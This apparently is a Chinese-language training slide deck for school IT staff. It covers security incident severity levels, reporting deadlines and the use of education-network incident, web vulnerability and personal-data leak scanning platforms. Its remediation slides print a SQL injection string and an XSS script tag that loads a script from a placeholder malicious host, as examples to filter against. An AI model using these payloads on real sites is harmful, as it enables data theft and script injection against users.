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※資安事件分級 
 
依影響程度分成 4個等級，說明如下： 
 
•符合下列任一情形者，屬4級事件  

– 國家機密資料遭洩漏 

– 國家重要資訊基礎建設系統或資料遭竄改 

– 國家重要資訊基礎建設運作遭影響或系統停頓，無法 於可容忍中斷時間內回復正
常運作 

 

•符合下列任一情形者，屬3級事件 

– 密級或敏感公務資料遭洩漏  

– 核心業務系統或資料遭嚴重竄改  

– 核心業務運作遭影響或系統停頓，無法於可容忍中斷 時間內回復正常運作 
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資安事件分級 
 
•符合下列任一情形者，屬2級事件 

– 非屬密級或敏感之核心業務資料遭洩漏 
– 核心業務系統或資料遭輕微竄改 
– 核心業務運作遭影響或系統效率降低，於可容忍中斷 時間內回復正常運作 
  
•符合下列任一情形者，屬1級事件 

– 非核心業務資料遭洩漏 
– 非核心業務系統或資料遭竄改 
– 非核心業務運作遭影響或短暫停頓 
 

•資安事件於發生後1小時內須通報 
 
   1、2 級事件需於72小時內處理完成並結案 (包括通報與應變 )  

   3、4 級事件需於36小時內完成 。 
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教育機構資安通報平台 
平台網址 https://info.cert.tanet.edu.tw/ 



當有通報資安事件時 
點選【事件單編號】 
即可進行通報程序 

教育機構資安通報平台 
※事件單通報 



教育機構資安通報平台 
※事件單說明 
 
1.事件主旨 
 
2.事件描述 
 
3.處理建議 



教育機構資安通報平台 
※必要填寫項目 
 
1.IP位置 
 
2.作業系統 



教育機構資安通報平台 
※必要填寫項目 
 
3.事件類型 
 
4.破壞程度 
  例1：網路流量異常 

   例2：作業系統負載大 
   

5.事件說明 
  例1：安裝不明來源軟體， 
        被植入惡意程式 
   例2：遭USB隨身碟感染病毒 



教育機構資安通報平台 
※必要填寫項目 
 
6.資安事件影響等級： 
  (1).機密性衝擊 
  (2).完整性衝擊 
  (3).可用性衝擊 
 
7.可能影響範圍及損失
評估 



教育機構資安通報平台 
※事件詳細資訊 
 
點選【事件附檔
下載】，然後點
選【下載】 
 



教育機構資安通報平台 

可依據事件附檔描述之來源IP、目的IP、發生時間點比對相關連線紀錄 

※查詢連線紀錄 



教育機構資安通報平台 

可依據DHCP中顯示資訊查詢事件主機地點 
(但電腦名稱需事先依地點設定，DCHP IP租約時間拉長至3~7天) 

※查詢主機地點 



教育機構資安通報平台 
※檢查使用者電腦是否含有惡意程式 



※降低資安通報的參考方法 
1.不安裝盜版軟體、或非官方提供軟體程式 

2.公用電腦可降低帳號權限 

3.公用電腦使用USB隨身碟切換為唯讀模式(防寫) 

4.請勿開啟不明來源之郵件 

5.不瀏覽惡意網站 

6.作業系統定期更新、安裝有效防毒軟體 
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網站應用程式弱點監測平台-服務說明 

1.只允許 .edu.tw的網域申請本營運點的檢測服務。 

 
2.僅提供單位所屬網域內的網站申請檢測。 

 
3.本服務檢測網站的類型包含ASP、ASP.NET、PHP、JSP。 

 
4.本服務執行時會增加網路流量。 



網站應用程式弱點監測平台-服務說明 

5.本營運點目前可對 
 
  (1).XSS 
  (2).SQL Injection 
  (3).惡意檔案執行 
  (4).不適當配置管理、 
  (5).目錄索引 
  (6).備份檔案 
 
  等六項網站應用程式弱點進行檢測。 

 



網站應用程式弱點監測平台-服務說明 
 
6.檢測時段： 
  日間(06:00~18:00) 
  夜間(18:00~06:00) 
  若網站規模較大，可能會超過檢測時段，需再手動調整。 
 

7.本營運點對受測網站有要求時間(Request Time)限制，若超
過時限，則跳過該筆檢測。 

 
8.本營運點檢測過程可能存在限制或盲點，其檢測結果僅能作
為貴單位(校)評估網站安全性的參考來源之一，不應為唯一依
據，建議仍須採用其他檢測工具，以提升網站安全。 



網站應用程式弱點監測平台-服務說明 

平台網址 https://ewavs.ilrc.edu.tw/ 



網站應用程式弱點監測平台-服務說明 

※帳號申請 
 
1.點選加入會員 
 
 



網站應用程式弱點監測平台-服務說明 

※帳號申請 
 
2.填寫會員資料 



網站應用程式弱點監測平台-服務說明 

※檢測網站申請 
 
3.填寫網址 
 
4.填寫網站名稱 
 
按【申請】即可 



網站應用程式弱點監測平台-服務說明 

圖書自動化管理系統 http://ilb.niu.edu.tw 

※新增檢測網站 
 
1.點選【網站維護】 
 
2.填寫網站名稱及  
  網址 
 
3.按【新增】即可 



網站應用程式弱點監測平台-服務說明 

※網站審核狀態 
 
1.【紅色驚嘆號!】
表示尚未審核 
 
2.【綠色打勾V】
表示審核通過 



網站應用程式弱點監測平台-服務說明 

※網站排程檢測 
 
1.輸入檢測網址 
 
2.勾選檢測類別 
 
3.選擇排程時間 
 
按【送出】即可 



網站應用程式弱點監測平台-服務說明 

※網站檢測結果 
 
1.點選【完成】即
可瀏覽結果 



網站應用程式弱點監測平台-服務說明 

※弱點修復建議 
 
例如：SQL Injection 
 
防護方法：過濾參數內容是
否含有惡意SQL語法 
 
如：select * from members 
where account=‘’ or 1=1 /*' 
and password='任意值' 



網站應用程式弱點監測平台-服務說明 

※弱點修復建議 
 
例如：XSS跨網站腳本攻擊 
 
防護方法：過濾變數內容
是否帶入惡意XSS語法 
 
如：<SCRIPT a=">" 
SRC="http://惡意網址
/a.js"></SCRIPT> 



網站應用程式弱點監測平台-服務說明 

※修補建議查詢 
 
1.點選【修補建易查詢】 
 
2.選擇語言、弱點類型 
 
即可查得相關資訊 
 
PS.亦可參考網路上相關文
章，修補相關漏洞 



網站應用程式弱點監測平台-服務說明 

※修補建議查詢 
 
1.點選【修補建易查詢】 
 
2.選擇語言、弱點類型 
 
即可查得相關資訊 
 
PS.亦可參考網路上相關文
章，修補相關漏洞 



防洩漏個資掃描平台-服務說明 

平台網址 https://piss.ilrc.edu.tw/ 



防洩漏個資掃描平台-服務說明 

※帳號申請 
 
1.點選會員註冊 
 
 



防洩漏個資掃描平台-服務說明 

※帳號申請 
 
2.填寫會員資料 



防洩漏個資掃描平台-服務說明 

※新增檢測網站 
 
1.點選左邊選單
【檢測申請】 
 
2.點選右上角 
【申請檢測】 



防洩漏個資掃描平台-服務說明 

※新增檢測網站 
 
1.選擇http或https 
 
2.輸入檢測網址 
 
3.輸入網站名稱 
 
4.點選【確定申請】 



防洩漏個資掃描平台-服務說明 

※新增檢測網站 
 
5.再次點選 
  【確定申請】 



防洩漏個資掃描平台-服務說明 

※申請狀態 
 
1.新增完成後，申
請狀態等待審核 



防洩漏個資掃描平台-服務說明 

※申請狀態 
 
2.管理者審核通過
審核成功 



防洩漏個資掃描平台-服務說明 

※新增排程 
 
1.選擇檢測網址 
 
2.回報使用者 
 
3.排程日期 
  每月檢查 
  每三個月檢查 
  每年檢查 



防洩漏個資掃描平台-服務說明 

※檢測結果 
 
1.新增後如已進
行檢測狀態顯
示為執行中 



防洩漏個資掃描平台-服務說明 

※檢測結果 
 
2.如已完成可點
選結果，查看掃描
報告 
 
 



防洩漏個資掃描平台-服務說明 

1.點選連
結可查
看網頁內
容 
 

2.點選筆
數可查
看網頁原
始檔 



謝謝聆聽!!! 


